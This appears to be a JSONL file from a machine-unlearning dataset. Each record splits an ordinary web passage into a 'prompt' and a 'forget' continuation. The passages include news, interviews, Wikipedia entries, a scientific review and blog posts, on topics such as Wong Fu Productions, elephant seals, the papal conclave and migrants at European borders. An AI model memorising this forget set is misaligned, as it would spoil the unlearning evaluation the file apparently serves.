{"prompt": "When I arrive on the set of Wong Fu Productions\u2019 first feature film in Pasadena, CA, they\u2019re in the middle of shooting one of the most emotional scenes in the movie. Everyone, from the production crew to the hair and makeup artists, is speaking in hushed tones \u2014 even though the action is taking place in a separate room. That\u2019s because we\u2019re actually shooting in the Wong Fu Productions office, where a corner of the space (which, on a normal day, looks like a typical workspace with desks and computers) has been transformed into a mock college dorm room, complete", "forget": "with actual walls, a microwave, a bed, and other furnishings. The door to the room has been propped open to leave room for the camera, and also to prevent the set from becoming too hot. \u201cThe way we do things is pretty unconventional,\u201d says Philip Wang, who cofounded Wong Fu with college friends Wesley Chan and Ted Fu. \u201cI like to say it\u2019s resourceful.\u201d The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now For Wong Fu, which got its start in 2003 and quickly gained a strong following with the growing popularity of its YouTube channel (which now has over 2 million subscribers), a long day of shooting is nothing new. What\u2019s different this time around is the length of time spent on one particular project. \u201cNow, we just kind of have this mentality of like, \u2018Hey, it\u2019s just like we\u2019re just making 20 shorts, all in a row,\u2019\u201d Wang says. \u201cWe do that anyways throughout a year. Now it\u2019s just condensing it all into one.\u201d Wong Fu is in a unique position as an independent production company for a few reasons: The trio had already begun to make popular videos before YouTube came along \u2014 videos were passed around through download links on their website and fans\u2019 instant messenger profiles \u2014 and were able to take advantage of the viral potential afforded them by the new platform. Notably, they also feature a primarily Asian-American cast in their shorts; they attribute much of their success to a largely Asian-American viewership eager to see themselves represented in the media. Wong Fu produces character-based short films, which Wang believes is distinct from the typical viral videos that attract views through shock value or cuteness. In March, Wong Fu raised $358,308"}
{"prompt": "A photo taken on February 26, 2015 in Paris, shows two 7-meter high vertical axis wind turbines generating 10,000 kwh, installed on the second floor of the Eiffel tower. (JACQUES DEMARTHON/AFP/Getty Images) In the global effort to fight climate change, cities have some of the greatest potential\u2013 and the greatest imperative \u2014 to make a difference. With an increasing global migration into the world\u2019s urban areas, which are expected to support at least two-thirds of the total human population by 2050, experts have argued that cities have no choice but to transition toward low-carbon systems if they\u2019re going to remain", "forget": "sustainable. Energy will need to be a primary focus of that effort. From the expansion of renewable energy sources to the adoption of cutting-edge energy efficiency and storage technologies, cities have the opportunity to drastically reduce their carbon footprints. This is the focus of a new paper, published Thursday in the journal Science, that discusses the ways cities can integrate renewable energy, as well as energy-saving technologies, into the urban landscape. This can be a challenge, given that cities \u2014 with their closely packed buildings and dense populations \u2014 don\u2019t always lend themselves to traditional renewable techniques. It\u2019s not exactly practical to fit an acres-long solar panel array in the middle of Shanghai, for instance, or to place a 200-foot-tall wind turbine in downtown New York City. But with a little creativity, researchers are developing new ideas and technologies specifically designed for city life. In the new paper, authors Daniel Kammen and Deborah Sunter of the University of California Berkeley have evaluated some of the most promising of these. Here are a few of the innovative solutions that may help cities lead the ongoing fight against climate change and the march toward a low-carbon society. See-through solar cells Although many forms of renewable energy may be useful for different cities around the world, solar is likely to have the most traction in the future. \u201cIn essentially every setting, solar \u2014 even in places that don\u2019t seem as ideal as tropical sunny cities \u2014 is arguably the lead,\u201d said Kammen, director of UC Berkeley\u2019s Renewable and Appropriate Energy Laboratory. \u201cAnd that\u2019s just because there\u2019s now so many ways to deploy solar.\u201d Traditionally, solar panels have been limited to the roofs of buildings, where there\u2019s space available and they\u2019re likely to get the most sun. But now, researchers have developed transparent solar"}
{"prompt": "Here\u2019s the thing you\u2019ve got to love about modern calligraphy: you can implement any change \u2014 any calligraphy variation \u2014 and you\u2019ll still be correct. While there is, more or less, \u201cright\u201d and \u201cwrong\u201d in traditional calligraphy styles like Spencerian and Copperplate, modern calligraphy embraces change. The most popular calligraphy worksheet on TPK is the Kaitlin, which was used on the invitation suite above. I would imagine its popularity can be attributed to two things: A. it\u2019s pretty and B. I\u2019m always going on and on about how low-maintenance it is {and it is!}. Because it\u2019s the calligraphy style I", "forget": "see people rocking the most on Instagram, I thought I would use it as the guinea pig for today\u2019s calligraphy variations. Variation 1: Thicken Downstrokes This is the simplest calligraphy variation. To create it, start with any word written in Kaitlin style calligraphy {or any style of calligraphy, for that matter}. I chose to write my name. Next, thicken the downstrokes by adding another stroke to the right of the original downstroke. {If you\u2019re not sure what a downstroke is, visit the Faux Calligraphy Tutorial.} Make sure the stroke you are adding blends seamlessly into your original downstroke. Once you\u2019ve filled in your downstrokes, you\u2019re finished! It can be beneficial to beef up your downstrokes if you really need a word or a sentence to stand out. To this end, words with thick downstrokes are wonderful on everything from posters to gift tags! Variation 2: Minimize Letter Size and Lengthen Connection Strokes Another way to switch up Kaitlin style calligraphy is to connect small letters with long, flowing strokes. While regular Kaitlin calligraphy utilizes relatively long connection strokes, it\u2019s hard to notice said strokes because the size of the letters balances them out. However, if you make a conscientious effort to write small letters and maintain a connection stroke length of around 1.5 cm, you\u2019ll be rewarded with a unique, pleasing effect. This is an easy-to-follow concept that I delve into a bit more in the Style Variation Add-On Worksheet, which I\u2019ll talk more about later in this post. Variation 3: Switch Up Your Angle The angle of original Kaitlin style calligraphy as taught in the Learn for a Latt\u00e9 set is relatively relaxed. Don\u2019t get me wrong: it\u2019s got a slant, but the slant isn\u2019t severe. You can switch up your Kaitlin style calligraphy {or any style of calligraphy}"}
{"prompt": "When Trevor Noah started hosting The Daily Show last September, he was just some young, hilarious correspondent from South Africa given the tall order of replacing Jon Stewart. Not quite a year later, Noah is drawing millennial viewers to The Daily Show and delivering night after night of sharp political thought and satire. With The Daily Show\u2019s entire staff headed to Cleveland and Philadelphia for the Republican National Convention and Democratic National Convention, respectively, Noah is set to take his hosting abilities to an even bigger stage. While other shows have teams reporting live, The Daily Show is the only", "forget": "one that will actually be fully broadcasting from the conventions, making Noah and company the best sources for all your boots-on-the-ground \u201cwhat the fuck is going on\u201d needs\u2014assuming that what you need isn\u2019t straight news coverage. With the RNC kicking off next week in Cleveland, The A.V. Club talked to Noah about what he\u2019s learned from the U.S. political process, and whether America is really going to hell in a handbasket. Advertisement The A.V. Club: What\u2019s most interesting to you about covering the conventions? Why is it important to you that The Daily Show is going? Trevor Noah: What\u2019s most interesting to me is just going to be seeing the chaos up close, especially on the Republican side. We\u2019ve heard a lot about the Never Trump movement, and we\u2019ve heard a lot about the establishment quickly planning a clandestine takeover, so it\u2019ll be interesting to be there live and see if anything happens as it happens. It\u2019ll also be fun to see people\u2014I mean, Ted Cruz said that he\u2019s going to be speaking, so it\u2019ll be interesting to see how these people perform up close in a really scrutinized environment. So I\u2019m excited for that. Advertisement I think the most intriguing part of it for me is taking The Daily Show there, because we get to experience all of the material firsthand. Generally, our show is resigned to reporting on the news, whereas here we get to be there when the news is being made, which I think will be an exciting change for us. AVC: How much access is the RNC giving you? TN: Well, we do have our press passes, so we\u2019ll see how far they let us go within that access. But we are allowed to be there, and we\u2019ll see what happens. The worst that could"}
{"prompt": "The Oklahoma State Penitentiary, nicknamed \"Big Mac\",[3] is a prison of the Oklahoma Department of Corrections located in McAlester, Oklahoma, on 1,556 acres (6.30 km2). Opened in 1908 with 50 inmates in makeshift facilities, today the prison holds more than 750 male offenders,[1] the vast majority of which are maximum-security inmates. Construction and early years [ edit ] Before Oklahoma became a state in 1907, felons convicted in Oklahoma Territory and Indian Territory were sent to the Kansas State Penitentiary in Lansing, Kansas. At statehood, Kate Barnard became Oklahoma Commissioner of Charities and Corrections. During the summer of 1908, Barnard", "forget": "arrived unannounced at the Kansas prison to investigate widespread complaints she had received about mistreatment of Oklahoma inmates. She took a regular tour with other visitors first, then identified herself to prison officials and asked that she be allowed to conduct an inspection of the facility. Barnard discovered systematic, widespread torture of inmates.[4] Upon her return to Oklahoma, Barnard recommended that all Oklahoma inmates be removed from the Lansing facility and returned to the state. Governor of Oklahoma Charles N. Haskell supported Barnard's proposal, and within two months of Barnard's visit to Kansas, on October 14, 1908, two groups of 50 offenders each were sent by train to McAlester.[4] The inmates were temporarily housed in the former federal jail in the town. Under direction from Warden Robert W. Dick, they built a stockade to house themselves on a 120 acres (0.49 km2) plot northwest of McAlester, which was donated to the state by a group of McAlester citizens.[5] The remaining Oklahoma inmates in Lansing were moved to the United States Penitentiary, Leavenworth until the state could build adequate facilities to house them all. The next spring, in 1909, the Oklahoma Legislature appropriated $850,000 to build the permanent facility. Construction began in May 1909 on a prison designed after the Leavenworth facility. The state purchased about 1,556 acres (6.30 km2) surrounding the original plot of land. Using prison labor, the West Cellhouse and Administration Building were completed first; the Rotunda and East Cellhouse came later. The steep hills and grades required more than 6,250 cubic yards (4,780 m3) of concrete and more than 2,000,000 cubic yards (1,500,000 m3) of rocks and soil to be moved for the prison's walls alone.[5] The F Cellhouse was added in 1935, and later the New Cellhouse was constructed. A shoe manufacturing plant and a tailor"}
{"prompt": "And yet no one knows whether women will show up for Ms. Sandberg\u2019s revolution, a top-down affair propelled by a fortune worth hundreds of millions on paper, or whether the social media executive can form a women\u2019s network of her own. Only a single test \u201cLean In Circle\u201d exists. With less than three weeks until launch \u2014 which will include a spread in Time magazine and splashy events like a book party at the foundation offices of Mayor Michael R. Bloomberg \u2014 organizers cannot say how many more groups may sprout up. Even her advisers acknowledge the awkwardness of a", "forget": "woman with double Harvard degrees, dual stock riches (from Facebook and Google, where she also worked), a 9,000-square-foot house and a small army of household help urging less fortunate women to look inward and work harder. Will more earthbound women, struggling with cash flow and child care, embrace the advice of a Silicon Valley executive whose book acknowledgments include thanks to her wealth adviser andOprah Winfrey? \u201cI don\u2019t think anyone has ever tried to do this from anywhere even close to her perch,\u201d said Debora L. Spar, president of Barnard College, who invited Ms. Sandberg to deliver a May 2011 commencement address about gender in the workplace that caught fire online. (Ms. Sandberg, who will grant her first book interview to the CBS program \u201c60 Minutes,\u201d declined to comment for this article.) Despite decades of efforts, and some visible exceptions, the number of top women leaders in many fields remains stubbornly low: for example, 21 of the current Fortune 500 chief executives are women. In her book, to be published by Knopf, Ms. Sandberg argues that is because women face invisible, even subconscious, barriers in the workplace, and not just from bosses. In her view, women are also sabotaging themselves. \u201cWe hold ourselves back in ways both big and small, by lacking self-confidence, by not raising our hands, and by pulling back when we should be leaning in,\u201d she writes, and the result is that \u201cmen still run the world.\u201d Ms. Sandberg wants to take women through a collective self-awareness exercise. In her book, she urges them to absorb the social science showing they are judged more harshly and paid less than men; resist slowing down in mere anticipation of having children; insist that their husbands split housework equally; draft short- and long-term career plans; and join a \u201cLean In"}
{"prompt": "\"Sea elephant\" redirects here. For the superfamily of sea slugs, see Pterotracheoidea Elephant seals are large, oceangoing earless seals in the genus Mirounga. The two species, the northern elephant seal (M. angustirostris) and the southern elephant seal (M. leonina), were both hunted to the brink of extinction by the end of the 19th century, but the numbers have since recovered. The northern elephant seal, somewhat smaller than its southern relative, ranges over the Pacific coast of the U.S., Canada and Mexico. The most northerly breeding location on the Pacific Coast is at Race Rocks, at the southern tip of Vancouver", "forget": "Island in the Strait of Juan de Fuca. The southern elephant seal is found in the Southern Hemisphere on islands such as South Georgia and Macquarie Island, and on the coasts of New Zealand, South Africa, and Argentina in the Peninsula Vald\u00e9s. In southern Chile, there is a small colony of 120 animals at Jackson Bay, Admiralty Sound (Seno Almirantazgo), Tierra del Fuego.[1] The oldest known unambiguous elephant seal fossils are fragmentary fossils of an unnamed member of the tribe Miroungini described from the late Pliocene Petane Formation of New Zealand.[2] Teeth originally identified as representing an unnamed species of Mirounga have been found in South Africa, and dated to the Miocene epoch;[3][4] however Boessenecker & Churchill (2016) considered these teeth to be almost certainly misidentified odontocete teeth.[2] Elephant seals breed annually and are seemingly faithful to colonies that have established breeding areas.[5] Description [ edit ] Elephant seals are marine mammals classified under the order Pinnipedia, which in Latin, means feather or fin footed.[6] Elephant seals are considered true seals, and fall under the family Phocidae.[7] Phocids (true seals) are characterized by having no external ear and reduced limbs.[7] The reduction of their limbs helps them be more streamlined and move easily in the water.[6] However, it makes navigating on land a bit difficult because they cannot turn their hind flippers forward to walk like the Otariids.[6] In addition, the hind flipper of elephant seals have a lot of surface area, which helps propel them in the water.[6] Elephant seals spend the majority of their time (90%) underwater in search of food, and can cover 60 miles a day when they head out to sea.[7] When elephant seals are born, they can weigh up to 80 pounds and reach lengths up to 4 feet.[7] Sexual dimorphism is prominently seen"}
{"prompt": "Not much will have changed when Beavis and Butt-head returns to MTV in the fall after nearly 15 years off the air. But while the boys may still be clad in their AC/DC and Metallica shirts, they\u2019ve got an whole lot of ammunition at their disposal when it comes to pop culture, including Jersey Shore and Twilight. Writer-creator Mike Judge and executive producer Van Toffler offered a glimpse Friday at the Television Critics\u2019 Association summer press tour at what could be expected from the animated hit. 1. Judge was nervous about including Jersey Shore in Beavis and Butt-head and watched", "forget": "MTV\u2019s reality hit at Toffler\u2019s recommendation. \u201cIt was paydirt,\u201d Judge said, confessing that he\u2019s now \u201chooked\u201d on the Jersey crew. Toffler, meanwhile, doesn\u2019t expect the housemates to ask for additional compensation when they appear in clips on the animated series. \u201cI\u2019d be scared to think of them with more money than they already have,\u201d Toffler said, noting that he expects the gang to love being subjected to the Beavis and Butt-head treatment. STORY: \u2018Beavis and Butt-Head Returning to MTV\u2019 2. Time stands still. Judge said he wanted new episodes to be topical \u2013 Twilight and vampire humor is included in the new trailer \u2013 but that there won\u2019t be a specific instance where the series acknowledges the nearly 15-year gap between new episodes. \u201cI wanted to make it not feel too forced; to make it as seamless as I could to what it was how ever many years ago,\u201d he noted. 3. There\u2019s plenty of ammunition for the boys to riff on. Judge said targets in the new episodes include UFC fights, Internet stuff and ... movie reviews. \u201cWe have a think where they\u2019re kind of like Siskel & Ebert,\u201d he said. 4. The animation process has been updated. When the original series aired from 1993 to 1997, Judge noted that Beavis and Butt-head \u2014 like The Simpsons and King of the Hill \u2013 was hand inked and painted onto cells and shot on film. That\u2019s all been digitized now. \u201cIt still looks crappy,\u201d Judge joked. \u201cBut I like the way it looks.\u201d \u201cIt\u2019s high-def, there are some differences.\u201d STORY: \u2018Beavis and Butt-Head\u2019 Riff on \u2018Jersey Shore\u2019 in MTV Series Relaunch (Video) 5. The boys will still be watching music videos. MGMT, Deadmau5 and Tbaby\u2019s \u201cIt\u2019s So Cold in the D\u201d will be among the artists Judge noted will be"}
{"prompt": "By By Ralph Lopez Feb 21, 2013 in World The Newtown, Connecticut Town Clerk is seeking to deny newspapers from viewing public record death certificates of Sandy Hook victims, according to the Newtown Bee. The New York Post, the Connecticut Post, the Associated Press, the Hartford Courant, and other media have put forth requests for official death certificates of Sandy Hook victims, \"that would provide the press and public with limited directory information from death and marriage records, but would withhold the actual death and marriage certificates.\" Death certificates are part of vital public records, which also include birth and", "forget": "marriage certificates. They are public domain documents used, ultimately, to determine official recognition of presence or past presence in civil society. They also serve as a mechanism for upholding the integrity of information in which there is a public interest, as it relates to voting, citizenship, and receiving public benefits. Abuses of voting processes involving voters who, unbeknownst to the public, are actually dead, are legendary. Death certificates typically contain little information about manner of death beyond categories such as \"natural cause,\" \"homicide,\" \"accident,\" \"suicide,\" or \"other.\" News organizations utilize such records in crime reporting as a standard part of normal, often tedious, fact-checking procedures. Death certificates also contain the sworn statement of the medical examiner. The Newtown Bee stated: \"Ms Aurelia said she has received requests for death certificates and other proprietary information from the New York Post , the Connecticut Post , the Associated Press and the Hartford Courant among others.\" \"Some are also requesting all my e-mail correspondence and text messages related to 12/14,\" she said.\" According to the Newtown Bee, Assistant Town Clerk Renee Weimann said \"I feel it\u2019s my responsibility to protect these victims. They\u2019ve been through enough.\u201d Last December 14th, 20 children and 8 adults died in a shooting rampage by alleged shooter Adam Lanza. Ms Aurelia and members of her staff testified in favor of such a bill at a hearing of the state's Public Health Committee last February 20th. The law would also exclude members of the public who are not \"immediate family/authorized agency/attorney\" from viewing the records, according to the Newtown Bee. The Bee reported that the media and other sources have been making the requests under existing Freedom of Information Act laws. Media can take local, state, and federal government agencies to court over failure to comply with requests for"}
{"prompt": "So a couple of months ago Douglas Atkin, head of Community and E-staff Member at AirBnB, took to the stage of the Le Web conference in London (video) to announce the formation of Peers: \u201ca grassroots organization that supports the sharing economy movement.\u201d I like grassroots organizations and I like the co-operative impulse, but this\u2026 Well here is his speech in its entirety (in italics) with comments from yours truly. I joined AirBnB about four months ago, but I\u2019m going to talk about a different organization. He means Peers. In fact I\u2019d like to talk about a movement for the", "forget": "sharing economy. By \u201ca movement\u201d I mean exactly that. I mean huge numbers of people, with a shared identity, mobilized to take action to do two things: to grow the peer sharing economy, and to fight for their collective interests against unfair and unreasonable obstacles. A grassroots organization with 40 corporate \u201cpartners\u201d, with unspecified but significant funding, formed with guidance from a set of high-profile \u201cthought leaders\u201d, without local chapters, and with nothing much for the grassroots to do, but with an Executive Director on day one. Andrew Leonard from Salon has been following the story, and tells us that funding comes from \u201cmission-aligned independent donors\u201d. So that\u2019s wealthy backers with a financial interest in the sharing economy. This is not grassroots, it\u2019s astroturf. If there is one thing that makes me angry, it is people appropriating the language of collective and progressive politics for financial gain. And that\u2019s one thread of what\u2019s going on here. As we shall see. It does seem that Executive Director Natalie Foster\u2019s heart is in the right place, but that\u2019s one of the tragedies of the sharing economy: well-intentioned people end up contributing to immiseration and injustice when they think they are doing the opposite. So what we\u2019re talking about here is not just people sharing their skills, or their apartment, or their car, but also their collective power to expand the sharing economy together, and to stand up against entrenched interests who stand unfairly in their way. So \u201cpeople power\u201d if you like, or more accurately \u201cpeer power\u201d. And what we\u2019re not talking about here is venture capital. Going through Crunchbase tells me that the total funding for the 40 partners is over $600M. AirBnB has received $120M, including funding from Andreessen Horowitz, Jeff Bezos, Ashton Kucher. You know, people standing up against"}
{"prompt": "Watch Coach Bloomgren's Introductory Press Conference / Photo Gallery Contact: Chuck Pool , Rice Athletics (cpool@rice.edu) HOUSTON-Rice Director of Athletics Joe Karlgaard announced Tuesday that Stanford Associate Head Coach and Offensive Coordinator Mike Bloomgren has agreed to a five-year contract to become the 19th head football coach at Rice University. \"The football program is important to our university and this community. Mike Bloomgren is a bright, driven, and relentless coach who fits perfectly with our vision for championships on the field, scholarship in the classroom, and service to others. I'm grateful to President Leebron for his support and assistance in", "forget": "recruiting the Bloomgrens to Rice. I can't wait for Mike, Lara, Tyler, and Parker to join us in Houston.\" \"I am excited and humbled to lead the football program at Rice,\" Bloomgren said. \"In my seven years at Stanford, I have seen firsthand how elite college athletics and academics can not only coexist, but thrive together. I want to create an environment at Rice where every player's dreams are realized on and off the field\" Bloomgren comes to Rice after seven seasons with the Cardinal, first as the offensive line coach (2011-12) and then assuming the reigns of Stanford's pro style offensive attack in 2013, setting the stage for one of the most successful decades in the program's rich history. Stanford has won eight or more games in each of his seasons and reached the Pac-12 Football Championship four times, winning three titles. Prior to 2017, Bloomgren had coached 12 NFL Draft selections and 11 All-America selections at Stanford, including 2015 Outland Trophy winner Joshua Garnett and NCAA all-purpose yardage record holder Christian McCaffrey. The 2017 campaign has seen running back Bryce Love nearly match McCaffrey's production on his way to being named a finalist for both the Heisman Trophy and Doak Walker Award. Love burst out of the gate with 180 yards on 13 carries against Rice in season opener in Sydney, Australia and completed the regular season with 1,973 yards on the ground, second only to McCaffrey's school-record 2,019 in 2015. Bloomgren's 2016 unit ended the season on a six-game winning streak in which the offense produced 290.5 rushing yards/game, the most by any Power 5 program over that stretch. McCaffrey, the eighth overall pick in the NFL Draft by the Carolina Panthers, earned All-America honors for the second straight season and was an All-Pac-12 first team running"}
{"prompt": "Review Article 1Department of Molecular Physiology, Westf\u00e4lische Wilhelms-University M\u00fcnster, Schlossplatz 8, 48143 M\u00fcnster, Germany 2Unit for Drug Discovery, Department of Parasitology, Institute of Biomedical Science, University of S\u00e3o Paulo, 1374 Prof. Lineu Prestes Avenue, 05508-000 S\u00e3o Paulo, SP, Brazil 3Bernhard-Nocht-Institute, Bernhard-Nocht-Stra\u00dfe 74, 20259 Hamburg, Germany Received 14 February 2014; Revised 28 May 2014; Accepted 29 May 2014; Published 15 July 2014 Academic Editor: Nongyao Sawangjaroen Copyright \u00a9 2014 Dana Ditgen et al. This is an open access article distributed under the Creative Commons Attribution License , which permits unrestricted use, distribution, and reproduction in any medium, provided the original work", "forget": "is properly cited. Abstract Helminths are the largest and most complex pathogens to invade and live within the human body. Since they are not able to outpace the immune system by rapid antigen variation or faster cell division or retreat into protective niches not accessible to immune effector mechanisms, their long-term survival depends on influencing and regulating the immune responses away from the mode of action most damaging to them. Immunologists have focused on the excretory and secretory products that are released by the helminths, since they can change the host environment by modulating the immune system. Here we give a brief overview of the helminth-associated immune response and the currently available helminth secretome data. We introduce some major secretome-derived immunomodulatory molecules and describe their potential mode of action. Finally, the applicability of helminth-derived therapeutic proteins in the treatment of allergic and autoimmune inflammatory disease is discussed. 1. Introduction During the last centuries living conditions in western countries changed extremely and social and economical structures shifted dramatically. As a suggested consequence of the resulting improvements in hygiene, antiparasite treatments, and the reduced exposure to pathogens and childhood infections, the occurrence of chronical inflammatory diseases and allergies increased rapidly [1, 2]. In 1989, David Strachan was the first one to link these two developments and enunciated the \u201cHygiene Hypothesis.\u201d According to this thesis, the observed increases in certain inflammatory disorders were due to the decreased early-life exposure to microorganisms and other eukaryotic infectious agents including helminths [3]. Worm-like parasites that belong to unrelated phyla, namely, the plathelminthes (trematodes and cestodes) and the nematodes, were already present in early Hominidae. This long coexistence between humans and helminths must have had a fundamental impact on the constitution and regulation of the immune system [4\u20136]. As an advancement of the \u201cHygiene Hypothesis,\u201d the \u201cOld"}
{"prompt": "Image copyright AP Image caption The Greek coastguard said it had tried to save the migrants The UN has called for an inquiry after a boat carrying migrants capsized while being towed by a Greek coastguard vessel, leaving up to twelve dead. Two bodies were found but a further 10 people were missing after the incident near the island of Farmakonisi on Monday. Sixteen people were rescued. The coastguard says it judged it safer to keep migrants on their own boat than to take them aboard in bad weather. Greek officials say panicking migrants caused the boat to capsize themselves.", "forget": "According to reports, two migrants fell or dived overboard and others rushed to one side of the boat to rescue them, causing the boat to tip. The deaths of a woman and a child have been confirmed. One non-government organisation, Pro Asyl, accused the Greek authorities of trying illegally to prevent the migrants, believed to be 26 Afghans and two Syrians, landing in Greece. \"It is highly likely that this action by the Greek coastguard was an illegal push-back operation rather than a rescue at sea,\" said Karl Kopp, the NGO's director of European affairs. Another NGO, Ecre, said: \"Survivors tell that they were crying out for help, given that a large number of children and babies were on board.\" Greece is one of the main destinations for clandestine migrants and refugees seeking to enter the EU, through its land or sea borders. Correspondents say there has been a sharp increase in sea-borne refugee traffic over the past year because of stricter controls on the Greek-Turkish land border to the north and the ongoing war in Syria. 'More bodies' In a statement on Tuesday, the UN refugee agency (UNHCR) said it was \"dismayed\" at the events off Farmakonisi. It quoted survivors on the island of Leros as saying the Greek coastguard had tried to tow the boat towards the Turkish coast at high speed when it capsized. \"UNHCR is urging the authorities to investigate this incident and how lives were lost on a boat that was under tow,\" said Laurens Jolles, its southern Europe regional representative. \"In addition survivors need to be quickly moved to the mainland so that their needs can be better looked after.\" Responding to the UN on Wednesday, the Greek coastguard insisted it had been trying to tow the boat, which had broken down, to Farmakonisi"}
{"prompt": "VATICAN CITY (Reuters) - Pope Benedict may change rules governing the conclave that will secretly elect his successor, a move that could move up the global meeting of cardinals who are already in touch about who could best lead Catholics through a period of crisis. The Vatican emblem is seen from inside the Vatican state February 20, 2013. Pope Benedict's shock resignation has robbed Italians of the one element of certainty in a time of deep doubt, with the country beset by graft scandals and heading for an election that will not bring the radical change so many crave. REUTERS/Alessandro", "forget": "Bianchi The Vatican appears to be aiming to have a new pope elected and then formally installed before Palm Sunday on March 24 so he can preside at Holy Week services leading to Easter. The rule changes could mean that the conclave in the Sistine Chapel, where cardinals will choose the next leader of the 1.2 billion member Roman Catholic Church, might be able to start before March 15, which is currently the earliest it can begin. Father Federico Lombardi, the Vatican spokesman, said on Wednesday that Benedict, who will lose all power when he abdicates on February 28, was considering issuing a \u201cMotu Proprio,\u201d a personal document which has the force of Church law and addresses a specific need. A 1996 apostolic constitution by Pope John Paul stipulates that a conclave must start between 15 and 20 days after the papacy becomes vacant, meaning it cannot begin before March 15 under the current rules given Benedict\u2019s date to step down. Some cardinals believe a conclave should start sooner than March 15 in order to reduce the time in which the Roman Catholic Church will be without a leader at a time of crisis. Benedict\u2019s papacy was rocked by scandals over the sex abuse of children by priests in Europe and the United States, most of which preceded his time in office but came to light during it. His reign also saw Muslim anger after he compared Islam to violence. Jews were upset over his rehabilitation of a Holocaust denier. During a scandal over the Church\u2019s business dealings, his butler was convicted of leaking his private papers. Benedict and his predecessor made sure any man awarded a cardinal\u2019s red hat was firmly in line with key Catholic doctrine supporting priestly celibacy and Vatican authority and opposing abortion, women priests, gay"}
{"prompt": "Donald Trump's government published for the first time Monday a list highlighting the nationalities of immigrants who were charged or convicted of crimes but were released by local authorities. The report puts pressure on so-called sanctuary cities, highlighting jurisdictions that release immigrants who might be subject to deportation instead of transferring them into the custody of Immigration and Customs Enforcement (ICE). The report, called the \" Weekly and Declined Detainer Outcome Report,\" lists 206 declined \u201cdetainers,\u201d or immigrants who were marked by ICE for possible deportation but who were released by law enforcement between January 28, 2017, and February 3,", "forget": "2017. That\u2019s out of a total 3,083 detainers issued throughout the country during that same period. ICE requests that law enforcement hold these individuals for 48 hours before being released in order \u201cto allow DHS to assume custody for removal purposes.\u201d Nearly 70 percent of the immigrants on the list are from Mexico. More than 95 percent are from Latin American countries, according to a Univision analysis of the data. After Mexico, Honduras is the most frequent country of origin. The immigration status of detainers is not listed. Most detainers have only been charged with a crime, not convicted: of the 206 on the list, 116 are pending charges. Among common criminal charges are domestic violence, driving under the influence of alcohol, assault, robbery and sexual assault. There are also immigrants on the list charged with drug possession, resisting an officer and prostitution. Texas appears most frequently on the list, with nearly 150 cases of denied detainers in the one-week period reported. Travis County, Texas, home of the city of Austin, accounted for 142 (nearly 70 percent) of those charged with crimes and released. On Monday, Republican Texas Governor Greg Abbott called the report \u201cdeeply disturbing\u201d and highlighted the \u201curgent need for a statewide sanctuary city ban in Texas.\u201d Last month, Abbott pulled state funding for Travis County programs after Sheriff Sally Hernandez, a Democrat, said that she would only honor detainer requests from ICE agents on a limited basis, as reported by The Texas Tribune. \u201cTexas will act to put an end to sanctuary policies that put the lives of our citizens at risk,\u201d Abbott wrote in a statement Monday. Other jurisdictions listed in the report are in California, Colorado, Florida, New York, Oregon, Virginia and Washington, among others. The list is a product of Trump\u2019s Executive Order 13768,"}
{"prompt": "A four-year old Texas boy found wandering across the border in Mexico this winter finally returned to the United States. Authorities believe his mother traveled from El Paso to Juarez to purposely abandon the child. Over the weekend, the El Paso Police Department announced that the youngster found in the Mexican state of Chihuahua returned to the United States on Friday night. The four-year-old remained in the custody of social services in Juarez for more than four months. The police department tweeted they placed the little boy into the care of Child Protective Services (CPS). Since then, though, it appears", "forget": "authorities reunited the child with his father in El Paso. CAP \u2013 4 year old boy found in Juarez was returned to the United States & CPS Friday evening. dp \u2014 EL PASO POLICE DEPT (@EPPOLICE) July 1, 2017 Breitbart Texas reported that Mexican police found the boy wandering alone on the streets of Juarez on February 22. They suspected the child, purportedly named \u201cLuis,\u201d was American because of his command of the English language. Months later the El Paso Police Department identified the four-year-old as a U.S. citizen. In fact, detectives in the south Texas border city only first learned about the boy in late May when an El Paso police supervisor in the Crimes Against Persons unit attended an Amber Alert seminar in Mexico City and heard about the child\u2019s situation. Subsequently, on June 3, El Paso police issued a media alert about the unidentified boy. His mother, Ruby Esmeralda Gonzalez, 25 viewed photographs of her son on El Paso TV news broadcasts and then contacted police to report her child as a kidnapping victim. An ensuing police investigation revealed Gonzalez crossed over the U.S.-Mexico border and into the city of Juarez on February 22 where, allegedly, she left her child in a dilapidated and deserted building. Gonzalez then returned to El Paso on the same day. According to KVIA, a Juarez cab driver actually found the boy who was alone, scared, and hungry. The cabbie contacted local police who then took the child into custody. When investigators examined \u201cLuis,\u201d they noticed bruises on his head, legs, and buttocks. Current El Paso jail records show that police arrested Gonzales on June 5 on one count of child abandonment with imminent danger and booked her into the El Paso County Detention Facility on a $10,000 bond. On June 13,"}
{"prompt": "Syrian refugees are warning others to avoid the Hungarian border with Serbia after images emerged of the aftermath of an alleged dog attack on multiple people. The attack is alleged to have been carried out by dogs owned by Hungarian border control police. It is unclear when the attack took place, but the images began appearing online on August 27. Hundreds of refugees have shared the images of the attack on dozens of private Arabic-speaking refugee Facebook groups, Vocativ discovered. The images, showing body parts with bloody, and sometimes deep, wounds, have caused hundreds of mostly Syrian refugees to warn", "forget": "one another against using Hungary\u2019s border with Serbia to travel deeper into Europe. Hungary shares borders with several other countries, including Romania, and Croatia. Refugees, and human rights groups, have repeatedly complained of Hungarian police harassment at the border with Serbia. Reuters reported that the brother of a man who drowned while swimming to Hungary via the Tisza river in June claimed police sent attack dogs, threw rocks, and sprayed gas when they reached the Hungarian side, forcing them to turn around. A police spokesperson said at the time that police only use \u201chumane treatment\u201d to deter refugees. Hungary built a fence on its border with Serbia and Croatia last year, spanning more than 300 miles. The fence has helped create a drop in refugees arriving in Hungary, from 400,000 in 2015, to under 18,000 this year, Al Jazeera reported. Prime Minister Viktor Orban announced plans last week to build a \u201cmassive defense system next to the existing line of defense\u201d as well as increasing the number of police stationed at the border. Warning: Some of the images below include graphic details. Facebook Facebook \u201cThere\u2019s new, not surprising barbaric behavior from Budapest, although this time is even more barbaric,\u201d wrote one user on a closed Facebook group for refugees. \u201cThe Hungarian security forces used every violent means they have against the refugees, including women and children. They tried to cross from Serbia to Hungary but they were beaten, attacked by police dogs sent at them and now the wounded are in Belgrade (Serbia) receiving medical treatment.\u201d The user also complained of the \u201cmedia\u2019s silence\u201d in response to the incident, and added: \u201cStay away from Hungary, brothers. The road is closed, don\u2019t torture yourself.\u201d Another asked: \u201cHow much more do we have to warn you of the smugglers \u2018promises\u2019\u2026\u201d They claimed:"}
